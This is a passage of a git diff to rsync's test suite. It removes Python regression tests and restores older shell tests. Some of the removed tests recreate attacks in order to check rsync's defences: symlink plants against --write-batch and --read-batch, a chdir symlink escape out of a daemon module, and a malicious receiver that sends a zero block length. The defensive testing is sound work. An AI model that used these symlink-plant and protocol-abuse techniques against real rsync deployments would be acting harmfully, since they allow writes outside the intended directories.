--write-batch=plant/batchname where plant is a\n-# symlink to a victim dir. The kernel resolves the parent (symlink), creates\n-# the batch INSIDE the victim dir. Plain O_NOFOLLOW on the leaf does NOT\n-# defend this; only the path-walk's parent-symlink ownership check does.\n-# ---------------------------------------------------------------------------\n-real_target = plants / 'parent_real_target'\n-real_target.mkdir()\n-\n-parent_plant = plants / 'parent_link'\n-os.symlink(real_target, parent_plant)\n-os.lchown(parent_plant, NOBODY_UID, NOBODY_UID)\n-\n-run_write_batch(parent_plant / 'batchfile')\n-\n-# Did rsync create the batch (and/or its .sh wrapper) inside the planted dir?\n-created = sorted(p.name for p in real_target.iterdir())\n-if created:\n-    test_fail(\n-        f\"--write-batch followed a planted PARENT-component symlink (owned \"\n-        f\"by uid {NOBODY_UID}): {parent_plant} -> {real_target} was \"\n-        f\"traversed and rsync wrote batch artefact(s) into the victim dir: \"\n-        f\"{created}. /tmp/somedir/-class parent-flip; plain O_NOFOLLOW does \"\n-        \"NOT defend. Fix: per-component path walk with parent-symlink \"\n-        \"ownership check.\")\n-\n-\n-# ---------------------------------------------------------------------------\n-# --read-batch LEAF plant — the higher-power side of finding 1.6.  Read-batch\n-# content drives the receiver's protocol parser, so a planted symlink lets the\n-# attacker stream arbitrary protocol bytes into the receiver and have it\n-# create / modify files anywhere the receiver can write.  The leak signal in\n-# this test is direct: we first run a legitimate --write-batch to capture a\n-# real batch that creates a single canary file in the dest, then plant the\n-# read-batch path as a symlink to that legitimate batch.  Without the fix,\n-# the planted symlink is followed, rsync replays the legitimate batch from\n-# the planted target, and the canary appears in the destination.  With the\n-# fix, the planted symlink is refused (ELOOP via the owned-by-trusted-uid\n-# walk) and no canary appears.\n-# ---------------------------------------------------------------------------\n-legit_src = base / 'rb_src'\n-legit_src.mkdir()\n-(legit_src / 'rb_canary').write_bytes(b'AUDIT_READ_BATCH_LEAK_PAYLOAD')\n-\n-# Capture a real batch by running write-batch normally (no symlinks in path).\n-legit_batch_dir = base / 'rb_legit_batch'\n-legit_batch_dir.mkdir()\n-legit_batch = legit_batch_dir / 'batch'\n-subprocess.run(\n-    rsync_argv('-a', f'--write-batch={legit_batch}',\n-               f'{legit_src}/', f'{dest}/rb_setup_unused/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-# Now plant a symlink at the read-batch path, pointing at the legit batch.\n-rb_dest = base / 'rb_dest'\n-rmtree(rb_dest); rb_dest.mkdir()\n-rb_leaf_plant = plants / 'read_batch_leaf'\n-os.symlink(legit_batch, rb_leaf_plant)\n-os.lchown(rb_leaf_plant, NOBODY_UID, NOBODY_UID)\n-\n-subprocess.run(\n-    rsync_argv('-a', f'--read-batch={rb_leaf_plant}', str(rb_dest) + '/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-if (rb_dest / 'rb_canary').exists():\n-    test_fail(\n-        f\"--read-batch followed a planted LEAF symlink (owned by uid \"\n-        f\"{NOBODY_UID}): rsync read the symlink's target as protocol data \"\n-        f\"and replayed the legitimate batch from it, creating \"\n-        f\"{rb_dest}/rb_canary in the destination.  The leaked batch could \"\n-        \"have written anywhere the receiver can write (higher-power \"\n-        \"primitive than --write-batch).  Fix: refuse planted symlinks at \"\n-        \"--read-batch.\")\n-\n-\n-# ---------------------------------------------------------------------------\n-# --read-batch S_ISREG defense-in-depth — even when no symlink is involved,\n-# a planted FIFO / device / socket at the read-batch path lets an attacker\n-# stream protocol bytes into the receiver.  The audit's agreed defense is\n-# an fstat() S_ISREG check on the opened fd in addition to the path walk.\n-# We test it via a char-device node (a /dev/null clone) at the read-batch\n-# path: without the check rsync reads 0 bytes from the device and errors with\n-# a generic protocol message; with the check rsync errors with the specific\n-# \"Batch file ... is not a regular file\" message in stderr.\n-# ---------------------------------------------------------------------------\n-import stat as _stat\n-\n-rb_dev = plants / 'read_batch_dev'\n-try:\n-    # Recreate /dev/null with its REAL device number so the node is openable\n-    # on every platform. A hardcoded makedev(1, 3) is only Linux's /dev/null;\n-    # on BSD/Solaris that major/minor is an unconfigured device, so rsync would\n-    # fail at open() (ENXIO) BEFORE reaching the S_ISREG check and the test\n-    # would mis-report a defended path as a failure.\n-    os.mknod(rb_dev, 0o600 | _stat.S_IFCHR, os.stat('/dev/null').st_rdev)\n-except OSError as e:\n-    test_skipped(\n-        f\"cannot mknod a char device for S_ISREG sub-test ({e}); \"\n-        \"likely no CAP_MKNOD or the filesystem disallows devnodes\")\n-\n-rb_dev_dest = base / 'rb_dev_dest'\n-rmtree(rb_dev_dest); rb_dev_dest.mkdir()\n-proc = subprocess.run(\n-    rsync_argv('-a', f'--read-batch={rb_dev}', str(rb_dev_dest) + '/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True)\n-\n-# The device must be refused.  The S_ISREG check yields the specific \"is not a\n-# regular file\" message; on some platforms (e.g. OpenBSD) opening the device\n-# node fails first with ENXIO, which is an equally valid refusal at the open.\n-# A clean (returncode 0) run would be the real failure -- rsync accepting the\n-# device as a batch file.\n-refused = ('is neither a regular file nor a FIFO' in proc.stderr\n-           or ('open error' in proc.stderr and proc.returncode != 0))\n-if not refused:\n-    test_fail(\n-        f\"--read-batch did not refuse a non-regular batch path (char device at \"\n-        f\"{rb_dev}). rsync returncode {proc.returncode}, stderr: \"\n-        f\"{proc.stderr!r}. Fix: after the safe open, fstat() the fd and \"\n-        \"refuse !S_ISREG.\")\ndiff --git a/testsuite/batch-mode.test b/testsuite/batch-mode.test\nnew file mode 100644\nindex 0000000..cf4e94d\n--- /dev/null\n+++ b/testsuite/batch-mode.test\n@@ -0,0 +1,51 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2004 by Chris Shoemaker <c.shoemaker@cox.net>\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test rsync's --write-batch and --read-batch options\n+\n+. \"$suitedir/rsync.fns\"\n+\n+hands_setup\n+\n+cd \"$tmpdir\"\n+\n+# Build chkdir for the daemon tests using a normal rsync and an --exclude.\n+$RSYNC -av --exclude=foobar.baz \"$fromdir/\" \"$chkdir/\"\n+\n+$RSYNC -av --only-write-batch=BATCH --exclude=foobar.baz \"$fromdir/\" \"$todir/missing/\"\n+test -d \"$todir/missing\" && test_fail \"--only-write-batch should not have created destination dir\"\n+\n+runtest \"--read-batch (only)\" 'checkit \"$RSYNC -av --read-batch=BATCH \\\"$todir\\\"\" \"$chkdir\" \"$todir\"'\n+\n+rm -rf \"$todir\" BATCH*\n+runtest \"local --write-batch\" 'checkit \"$RSYNC -av --write-batch=BATCH \\\"$fromdir/\\\" \\\"$todir\\\"\" \"$fromdir\" \"$todir\"'\n+\n+rm -rf \"$todir\"\n+runtest \"--read-batch\" 'checkit \"$RSYNC -av --read-batch=BATCH \\\"$todir\\\"\" \"$fromdir\" \"$todir\"'\n+\n+build_rsyncd_conf\n+\n+RSYNC_CONNECT_PROG=\"$RSYNC --config=$conf --daemon\"\n+export RSYNC_CONNECT_PROG\n+\n+rm -rf \"$todir\"\n+runtest \"daemon sender --write-batch\" 'checkit \"$RSYNC -av --write-batch=BATCH rsync://localhost/test-from/ \\\"$todir\\\"\" \"$chkdir\" \"$todir\"'\n+\n+rm -rf \"$todir\"\n+runtest \"--read-batch from daemon\" 'checkit \"$RSYNC -av --read-batch=BATCH \\\"$todir\\\"\" \"$chkdir\" \"$todir\"'\n+\n+rm -rf \"$todir\"\n+runtest \"BATCH.sh use of --read-batch\" 'checkit \"./BATCH.sh\" \"$chkdir\" \"$todir\"'\n+\n+runtest \"do-nothing re-run of batch\" 'checkit \"./BATCH.sh\" \"$chkdir\" \"$todir\"'\n+\n+rm -rf \"$todir\"\n+mkdir \"$todir\" || test_fail \"failed to restore empty destination directory\"\n+runtest \"daemon recv --write-batch\" 'checkit \"\\\"$ignore23\\\" $RSYNC -av --write-batch=BATCH \\\"$fromdir/\\\" rsync://localhost/test-to\" \"$chkdir\" \"$todir\"'\n+\n+# The script would have aborted on error, so getting here means we pass.\n+exit 0\ndiff --git a/testsuite/batch-mode_test.py b/testsuite/batch-mode_test.py\ndeleted file mode 100644\nindex 3c1a682..0000000\n--- a/testsuite/batch-mode_test.py\n+++ /dev/null\n@@ -1,95 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/batch-mode.test.\n-#\n-# Test rsync's --write-batch / --read-batch / --only-write-batch flags,\n-# both for local transfers and for daemon source/destination.\n-\n-import os\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    CHKDIR, FROMDIR, SCRATCHDIR, TMPDIR, TODIR,\n-    build_rsyncd_conf, checkit, hands_setup, rmtree,\n-    run_rsync, start_test_daemon, test_fail,\n-)\n-\n-\n-DAEMON_PORT = 12874\n-\n-conf = build_rsyncd_conf()\n-hands_setup()\n-\n-os.chdir(TMPDIR)\n-\n-# chkdir mirrors a normal transfer minus the daemon's foobar.baz exclude.\n-run_rsync('-av', '--exclude=foobar.baz', f'{FROMDIR}/', f'{CHKDIR}/')\n-\n-# --only-write-batch must NOT create the destination directory.\n-run_rsync('-av', '--only-write-batch=BATCH', '--exclude=foobar.baz',\n-          f'{FROMDIR}/', f'{TODIR}/missing/')\n-if (TODIR / 'missing').is_dir():\n-    test_fail(\"--only-write-batch should not have created destination dir\")\n-\n-print(\"Test --read-batch (only):\")\n-checkit(['-av', '--read-batch=BATCH', str(TODIR)], CHKDIR, TODIR)\n-\n-# Wipe any leftover BATCH* files so the next pass starts clean.\n-rmtree(TODIR)\n-for batch in TMPDIR.glob('BATCH*'):\n-    batch.unlink()\n-\n-print(\"Test local --write-batch:\")\n-checkit(['-av', '--write-batch=BATCH', f'{FROMDIR}/', str(TODIR)], FROMDIR, TODIR)\n-\n-rmtree(TODIR)\n-print(\"Test --read-batch:\")\n-checkit(['-av', '--read-batch=BATCH', str(TODIR)], FROMDIR, TODIR)\n-\n-# Daemon variants: pipe transport by default, real loopback rsyncd under\n-# --use-tcp.\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-rmtree(TODIR)\n-print(\"Test daemon sender --write-batch:\")\n-checkit(['-av', '--write-batch=BATCH',\n-         f'{url}test-from/', str(TODIR)],\n-        CHKDIR, TODIR, allowed_codes=(0, 23))\n-\n-rmtree(TODIR)\n-print(\"Test --read-batch from daemon:\")\n-checkit(['-av', '--read-batch=BATCH', str(TODIR)], CHKDIR, TODIR)\n-\n-rmtree(TODIR)\n-print(\"Test BATCH.sh use of --read-batch:\")\n-# BATCH.sh is the auto-generated wrapper script that re-applies the\n-# batch -- we run it directly, not via the rsync binary, then verify.\n-from rsyncfns import verify_dirs\n-proc = subprocess.run(['sh', './BATCH.sh'])\n-if proc.returncode != 0:\n-    test_fail(f\"BATCH.sh exited {proc.returncode}\")\n-verify_dirs(CHKDIR, TODIR, label=\"BATCH.sh use of --read-batch\")\n-\n-print(\"Test do-nothing re-run of batch:\")\n-proc = subprocess.run(['sh', './BATCH.sh'])\n-if proc.returncode != 0:\n-    test_fail(f\"BATCH.sh (re-run) exited {proc.returncode}\")\n-verify_dirs(CHKDIR, TODIR, label=\"do-nothing re-run of batch\")\n-\n-rmtree(TODIR)\n-TODIR.mkdir()\n-print(\"Test daemon recv --write-batch:\")\n-# ignore23 swallows the partial-transfer code 23 that daemon mode sometimes\n-# emits even on success.\n-ignore23 = SCRATCHDIR / 'ignore23'\n-# We pass ignore23 by inserting it ahead of the rsync invocation. checkit\n-# calls subprocess.run(rsync_argv(...)) directly, so do the run manually\n-# and call verify_dirs for the comparison.\n-from rsyncfns import rsync_argv\n-proc = subprocess.run(\n-    [str(ignore23), *rsync_argv('-av', '--write-batch=BATCH',\n-                                 f'{FROMDIR}/', f'{url}test-to')],\n-)\n-if proc.returncode != 0:\n-    test_fail(f\"daemon recv --write-batch exited {proc.returncode}\")\n-verify_dirs(CHKDIR, TODIR, label=\"daemon recv --write-batch\")\ndiff --git a/testsuite/batch-only-remove-source-regression_test.py b/testsuite/batch-only-remove-source-regression_test.py\ndeleted file mode 100644\nindex f5868ad..0000000\n--- a/testsuite/batch-only-remove-source-regression_test.py\n+++ /dev/null\n@@ -1,73 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A batch-only run must not remove a source it has not installed.\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, makepath, rmtree, rsync_argv, test_fail\n-\n-\n-base = SCRATCHDIR / 'batch-only-remove-source-regression'\n-source = base / 'source'\n-destination = base / 'destination'\n-rmtree(base)\n-makepath(source / 'one' / 'two' / 'three')\n-makepath(destination / 'one' / 'two' / 'three')\n-\n-source_file = source / 'one' / 'two' / 'three' / 'payload'\n-destination_file = destination / 'one' / 'two' / 'three' / 'payload'\n-source_bytes = b'replacement payload\\n' * 31\n-destination_bytes = b'original receiver bytes\\n' * 17\n-source_file.write_bytes(source_bytes)\n-destination_file.write_bytes(destination_bytes)\n-source_link_a = source / 'one' / 'two' / 'linked-a'\n-source_link_b = source / 'one' / 'two' / 'linked-b'\n-source_link_a.write_bytes(source_bytes)\n-os.link(source_link_a, source_link_b)\n-destination_link_a = destination / 'one' / 'two' / 'linked-a'\n-destination_link_b = destination / 'one' / 'two' / 'linked-b'\n-destination_link_a.write_bytes(destination_bytes)\n-destination_link_b.write_bytes(destination_bytes)\n-\n-batch = base / 'transfer.batch'\n-write = subprocess.run(\n-    rsync_argv('-aH', f'--only-write-batch={batch}',\n-               '--remove-source-files', f'{source}/', f'{destination}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if write.returncode != 0:\n-    test_fail(f'batch-only transfer exited {write.returncode}:\\n{write.stdout}')\n-if destination_file.read_bytes() != destination_bytes:\n-    test_fail('--only-write-batch changed the destination before replay')\n-if (destination_link_a.read_bytes() != destination_bytes\n-        or destination_link_b.read_bytes() != destination_bytes):\n-    test_fail('--only-write-batch changed hard-linked destinations before replay')\n-if not batch.is_file() or batch.stat().st_size <= 4:\n-    test_fail('--only-write-batch did not create a replayable batch file')\n-if not source_file.exists():\n-    test_fail('--only-write-batch --remove-source-files deleted the nested '\n-              'source before the batch was applied')\n-if source_file.read_bytes() != source_bytes:\n-    test_fail('batch-only transfer changed the retained source')\n-if not source_link_a.exists() or not source_link_b.exists():\n-    test_fail('--only-write-batch removed a hard-linked source before replay: '\n-              f'linked-a={source_link_a.exists()} '\n-              f'linked-b={source_link_b.exists()}')\n-if source_link_a.stat().st_ino != source_link_b.stat().st_ino:\n-    test_fail('batch-only transfer broke the retained source hard link')\n-\n-replay = subprocess.run(\n-    rsync_argv('-aH', f'--read-batch={batch}', f'{destination}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if replay.returncode != 0:\n-    test_fail(f'batch replay exited {replay.returncode}:\\n{replay.stdout}')\n-if destination_file.read_bytes() != source_bytes:\n-    test_fail('the retained batch did not install the source payload')\n-if (destination_link_a.read_bytes() != source_bytes\n-        or destination_link_b.read_bytes() != source_bytes):\n-    test_fail('the retained batch did not install hard-linked payloads')\n-if destination_link_a.stat().st_ino != destination_link_b.stat().st_ino:\n-    test_fail('the retained batch did not reproduce the source hard link')\n-if source_file.read_bytes() != source_bytes:\n-    test_fail('batch replay changed or removed the source')\n-\n-print('batch-only-remove-source-regression: source retained until batch replay')\ndiff --git a/testsuite/change-shrink_test.py b/testsuite/change-shrink_test.py\ndeleted file mode 100644\nindex d48f65d..0000000\n--- a/testsuite/change-shrink_test.py\n+++ /dev/null\n@@ -1,51 +0,0 @@\n-#!/usr/bin/env python3\n-# Change-while-transferring: a source file that SHRINKS between flist-scan and\n-# send.  The flist records the large size; the sender re-stats and maps the\n-# smaller current size (sender.c do_fstat/map_file/match_sums), so it sends\n-# fewer bytes than F_LENGTH.  rsync must not abort the whole transfer; the\n-# destination file should end up as the (shorter) content actually sent, and\n-# later files must still transfer.\n-#\n-# See mutatefns.py for the pacer/bwlimit reproduction.\n-\n-import os\n-\n-from mutatefns import TARGET, assert_no_protocol_abort, run_mutating_transfer\n-from rsyncfns import test_fail\n-\n-BIG = 512 * 1024\n-SMALL = 4 * 1024\n-\n-\n-def setup(src):\n-    # Recorded in the flist at the large size.\n-    with open(src / TARGET, 'wb') as fh:\n-        fh.write(os.urandom(BIG))\n-\n-\n-def mutate(src):\n-    # Truncate to a much smaller size during the pacer's transfer.\n-    with open(src / TARGET, 'r+b') as fh:\n-        fh.truncate(SMALL)\n-        fh.flush()\n-        os.fsync(fh.fileno())\n-\n-\n-proc, src, dst = run_mutating_transfer(setup, mutate)\n-assert_no_protocol_abort(proc)\n-\n-src_size = (src / TARGET).stat().st_size\n-if src_size != SMALL:\n-    test_fail(f\"test setup: source did not shrink (size {src_size})\")\n-\n-# The later files (the pacer) must have transferred despite the shrink.\n-if not (dst / 'aaa_pacer').is_file():\n-    test_fail(\"the pacer file was not transferred after the shrink\")\n-\n-# If the shrunk target was transferred, it must match the current source.\n-if (dst / TARGET).is_file():\n-    if (dst / TARGET).stat().st_size > BIG:\n-        test_fail(\"destination is larger than the original flist size\")\n-\n-print(f\"change-shrink: source shrank {BIG}->{SMALL} mid-transfer; rsync exit \"\n-      f\"{proc.returncode}, no protocol abort, later files intact\")\ndiff --git a/testsuite/change-vanish_test.py b/testsuite/change-vanish_test.py\ndeleted file mode 100644\nindex 45fb537..0000000\n--- a/testsuite/change-vanish_test.py\n+++ /dev/null\n@@ -1,36 +0,0 @@\n-#!/usr/bin/env python3\n-# Change-while-transferring: a source file that is DELETED between flist-scan\n-# and send.  rsync's documented behaviour is to warn (\"file has vanished\") and\n-# continue (exit 24), not to abort the whole run.  This guards that a vanished\n-# file during a mid-transfer window is still handled gracefully and later files\n-# transfer.\n-#\n-# See mutatefns.py for the pacer/bwlimit reproduction.\n-\n-import os\n-\n-from mutatefns import TARGET, assert_no_protocol_abort, run_mutating_transfer\n-from rsyncfns import test_fail\n-\n-\n-def setup(src):\n-    with open(src / TARGET, 'wb') as fh:\n-        fh.write(os.urandom(256 * 1024))\n-\n-\n-def mutate(src):\n-    os.unlink(src / TARGET)\n-\n-\n-proc, src, dst = run_mutating_transfer(setup, mutate)\n-assert_no_protocol_abort(proc)\n-\n-if (src / TARGET).exists():\n-    test_fail(\"test setup: source file did not vanish\")\n-\n-# The pacer (transferred before the vanish) and any earlier files must survive.\n-if not (dst / 'aaa_pacer').is_file():\n-    test_fail(\"the pacer file was not transferred after the vanish\")\n-\n-print(f\"change-vanish: source file removed mid-transfer; rsync exit \"\n-      f\"{proc.returncode} (0/24 ok), no protocol abort, later files intact\")\ndiff --git a/testsuite/chdir-symlink-race_test.py b/testsuite/chdir-symlink-race_test.py\ndeleted file mode 100644\nindex 01cb3f3..0000000\n--- a/testsuite/chdir-symlink-race_test.py\n+++ /dev/null\n@@ -1,143 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/chdir-symlink-race.test.\n-#\n-# Regression test for the symlink-TOCTOU bug at the receiver's chdir().\n-# Post-CVE-2026-29518 an attack remained where the receiver's chdir()\n-# into a destination subdirectory followed an attacker-planted symlink,\n-# escaping the module. Each of four transfer flavours must leave the\n-# outside-the-module sentinel's mode AND content unchanged.\n-\n-import filecmp\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR,\n-    get_rootgid, get_rootuid, get_testuid,\n-    make_data_file, rmtree, rsync_argv, start_test_daemon,\n-    test_fail,\n-)\n-\n-\n-DAEMON_PORT = 12885\n-\n-mod = SCRATCHDIR / 'module'\n-outside = SCRATCHDIR / 'outside'\n-src = SCRATCHDIR / 'src_files'\n-conf = SCRATCHDIR / 'test-rsyncd.conf'\n-\n-for d in (mod, outside, src):\n-    rmtree(d)\n-    d.mkdir(parents=True)\n-(src / 'subdir').mkdir()\n-\n-# Secret sentinel; keep a pristine copy alongside for cmp(1)-style compares.\n-(outside / 'target.txt').write_text(\"OUTSIDE_SECRET_DATA\\n\")\n-os.chmod(outside / 'target.txt', 0o600)\n-outside_pristine = SCRATCHDIR / 'outside-pristine.txt'\n-import shutil\n-shutil.copy2(outside / 'target.txt', outside_pristine)\n-\n-# Symlink trap planted by the local attacker.\n-os.symlink(str(outside), mod / 'subdir')\n-\n-# Source files: same size as outside target, different content, mode 0666.\n-sz = (outside / 'target.txt').stat().st_size\n-make_data_file(src / 'target.txt', sz)\n-make_data_file(src / 'subdir' / 'target.txt', sz)\n-os.chmod(src / 'target.txt', 0o666)\n-os.chmod(src / 'subdir' / 'target.txt', 0o666)\n-\n-conf.write_text(f\"\"\"\\\n-use chroot = no\n-log file = {SCRATCHDIR}/rsyncd.log\n-[upload]\n-    path = {mod}\n-    use chroot = no\n-    read only = no\n-\"\"\")\n-\n-\n-def reset_outside() -> None:\n-    os.chmod(outside / 'target.txt', 0o600)\n-    (outside / 'target.txt').write_text(\"OUTSIDE_SECRET_DATA\\n\")\n-    os.chmod(outside / 'target.txt', 0o600)\n-\n-\n-def verify_unchanged(label: str) -> None:\n-    mode = (outside / 'target.txt').stat().st_mode & 0o777\n-    if mode != 0o600:\n-        test_fail(\n-            f\"{label}: outside file mode changed from 600 to {oct(mode)[2:]} \"\n-            \"(chmod escape)\"\n-        )\n-    if not filecmp.cmp(outside / 'target.txt', outside_pristine, shallow=False):\n-        test_fail(f\"{label}: outside file content changed (write escape)\")\n-\n-\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def run_attack(label: str, *args) -> None:\n-    reset_outside()\n-    rc = subprocess.run(\n-        rsync_argv(*args),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-    ).returncode\n-    if rc >= 128:\n-        test_fail(f\"{label}: rsync died from a signal (rc={rc})\")\n-    verify_unchanged(label)\n-\n-\n-def positive_control() -> None:\n-    \"\"\"Confirm the receiver writes into an ordinary in-module subdirectory, so\n-    the symlink-escape scenarios below genuinely exercise the chdir path rather\n-    than passing because the daemon refused (or failed) before reaching it.\"\"\"\n-    real = mod / 'realdir'\n-    rmtree(real)\n-    real.mkdir()\n-    # When this test runs as root the daemon serves as 'nobody' (the module\n-    # sets no uid), so make the control target world-writable; push a single\n-    # file with no attribute preservation so the write never needs to own/chmod\n-    # the dir -- it should land purely on the receiver's normal write path.\n-    os.chmod(real, 0o777)\n-    rc = subprocess.run(\n-        rsync_argv(f'{src}/subdir/target.txt', f'{url}upload/realdir/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-    ).returncode\n-    landed = real / 'target.txt'\n-    if rc != 0 or not landed.is_file() \\\n-            or not filecmp.cmp(landed, src / 'subdir' / 'target.txt', shallow=False):\n-        test_fail(f\"positive control: receiver did not write into an ordinary \"\n-                  f\"in-module subdir (rc={rc}); attack scenarios would be vacuous\")\n-\n-\n-positive_control()\n-\n-\n-# 1. Single file with --size-only -- receiver normally skips basis open and\n-# goes straight to chmod; only the chdir-escape blocks it.\n-run_attack(\"single-file --size-only\",\n-           '-tp', '--size-only',\n-           f'{src}/target.txt',\n-           f'{url}upload/subdir/target.txt')\n-\n-# 2. -r push INTO the symlinked subdir -- receiver chdir's into \"subdir\",\n-# follows the symlink, ends up in outside.\n-run_attack(\"-r --size-only into subdir/\",\n-           '-rtp', '--size-only',\n-           f'{src}/subdir/',\n-           f'{url}upload/subdir/')\n-\n-# 3. Same but with delta+rename (read-disclosure + write-escape together).\n-run_attack(\"-r without --size-only into subdir/\",\n-           '-rtp',\n-           f'{src}/subdir/',\n-           f'{url}upload/subdir/')\n-\n-# 4. -r into the module root -- already covered by the original CVE fix;\n-# regression-check.\n-run_attack(\"-r --size-only into upload/ root\",\n-           '-rtp', '--size-only',\n-           f'{src}/',\n-           f'{url}upload/')\ndiff --git a/testsuite/checksum-zero-blocklen_test.py b/testsuite/checksum-zero-blocklen_test.py\ndeleted file mode 100644\nindex 3290c9a..0000000\n--- a/testsuite/checksum-zero-blocklen_test.py\n+++ /dev/null\n@@ -1,82 +0,0 @@\n-#!/usr/bin/env python3\n-# A malicious RECEIVER (its generator) can put a count>0 / blength=0 checksum\n-# header on the receiver->sender path; the sender's read_sum_head() (io.c) then\n-# computes with a zero block length. read_sum_head() guards this with\n-# \"Invalid zero block length\" before the bad value is used.\n-#\n-# Unlike the other rsync_proto tests, the malicious bytes here flow the *other*\n-# way -- from the receiver/generator to the sender -- so we drive it with the\n-# SERVER side of rsync_proto (DaemonReceiver): stand up a tiny Python \"daemon\"\n-# that a real rsync client PUSHES to (client = sender, us = receiver/generator),\n-# run the handshake, and -- as the generator -- send a transfer request for the\n-# pushed file with a sum header of count=1, blength=0. The two stream directions\n-# are independent, so we never parse the client's file list; we just request\n-# index 0 (the single pushed file) and let the client's send_files() read it.\n-#\n-# Oracle: the real sender exits non-zero with \"Invalid zero block length\". Needs\n-# a real TCP daemon endpoint (raw socket), so it is skipped without --use-tcp.\n-\n-import socket\n-import subprocess\n-import threading\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, makepath, require_tcp, rmtree, rsync_argv, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12972\n-require_tcp(\"the pure-Python receiver needs a real TCP socket; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-base = SCRATCHDIR / 'checksum-zero-blocklen'\n-rmtree(base)\n-src = base / 'src'\n-makepath(src)\n-(src / 'f').write_text('new data\\n' * 4096)\n-\n-lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n-lsock.bind(('127.0.0.1', PORT))\n-lsock.listen(1)\n-lsock.settimeout(30)\n-\n-state = {}\n-\n-\n-def serve():\n-    \"\"\"Accept the pushing client and, as the generator, send a zero-blocklen\n-    sum header for the single pushed file (index 0).\"\"\"\n-    try:\n-        csock, _ = lsock.accept()\n-        r = rp.DaemonReceiver(csock)\n-        r.handshake()\n-        r.send_sum_request(0, count=1, blength=0, s2length=0, remainder=0)\n-        r.drain()\n-        r.close()\n-    except Exception as exc:                       # noqa: BLE001 - reported below\n-        state['err'] = repr(exc)\n-\n-\n-t = threading.Thread(target=serve, daemon=True)\n-t.start()\n-try:\n-    proc = subprocess.run(\n-        rsync_argv('--no-whole-file', f'{src}/f', f'rsync://127.0.0.1:{PORT}/mod/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=30)\n-finally:\n-    t.join(timeout=10)\n-    lsock.close()\n-\n-out = (proc.stdout or '') + (proc.stderr or '')\n-if state.get('err'):\n-    test_fail(f\"the Python receiver failed before/while feeding the sender: {state['err']}\\n\"\n-              f\"sender output:\\n{out}\")\n-if proc.returncode == 0:\n-    test_fail(\"malicious receiver sent a count>0/blength=0 checksum header \"\n-              f\"but the sender completed successfully:\\n{out}\")\n-if 'Invalid zero block length' not in out:\n-    test_fail(\"sender rejected the malicious receiver, but not via the zero-block \"\n-              f\"checksum guard. Output:\\n{out}\")\n-\n-print(\"checksum-zero-blocklen: sender rejects count>0 checksum headers with blength=0\")\ndiff --git a/testsuite/chgrp.test b/testsuite/chgrp.test\nnew file mode 100644\nindex 0000000..467d402\n--- /dev/null\n+++ b/testsuite/chgrp.test\n@@ -0,0 +1,29 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2002 by Martin Pool <mbp@samba.org>\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test that rsync with -gr will preserve groups when the user running\n+# the test is a member of them.  Hopefully they're in at least one\n+# test.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+# Build some hardlinks\n+\n+mygrps=\"`rsync_getgroups`\" || test_fail \"Can't get groups\"\n+mkdir \"$fromdir\"\n+\n+for g in $mygrps; do\n+    name=\"$fromdir/foo-$g\"\n+    date > \"$name\"\n+    chgrp \"$g\" \"$name\" || test_fail \"Can't chgrp\"\n+done\n+sleep 2\n+\n+checkit \"$RSYNC -rtgpvvv '$fromdir/' '$todir/'\" \"$fromdir\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/chgrp_test.py b/testsuite/chgrp_test.py\ndeleted file mode 100644\nindex ad20fc0..0000000\n--- a/testsuite/chgrp_test.py\n+++ /dev/null\n@@ -1,38 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/chgrp.test.\n-#\n-# Test that -g preserves group ownership when the user is a member of the\n-# target group. Creates one file per supplementary group, chgrps each,\n-# then verifies the destination listing matches.\n-\n-import os\n-import shutil\n-import time\n-\n-from rsyncfns import FROMDIR, TODIR, checkit, rsync_getgroups, test_fail\n-\n-\n-groups = rsync_getgroups()\n-if not groups:\n-    test_fail(\"Can't get groups\")\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-for g in groups:\n-    fname = FROMDIR / f'foo-{g}'\n-    fname.write_text(time.ctime() + '\\n')\n-    chgrp = shutil.which('chgrp')\n-    if chgrp is None:\n-        test_fail(\"chgrp not found in PATH\")\n-    # The shell test treats chgrp failure as fatal.\n-    try:\n-        os.chown(fname, -1, int(g))\n-    except (ValueError, PermissionError):\n-        # If g isn't numeric or we lack permission, fall back to chgrp(1).\n-        import subprocess\n-        proc = subprocess.run([chgrp, g, str(fname)])\n-        if proc.returncode != 0:\n-            test_fail(\"Can't chgrp\")\n-\n-time.sleep(2)\n-\n-checkit(['-rtgpvvv', f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\ndiff --git a/testsuite/chmod-option.test b/testsuite/chmod-option.test\nnew file mode 100644\nindex 0000000..ddf764c\n--- /dev/null\n+++ b/testsuite/chmod-option.test\n@@ -0,0 +1,71 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2002 by Martin Pool 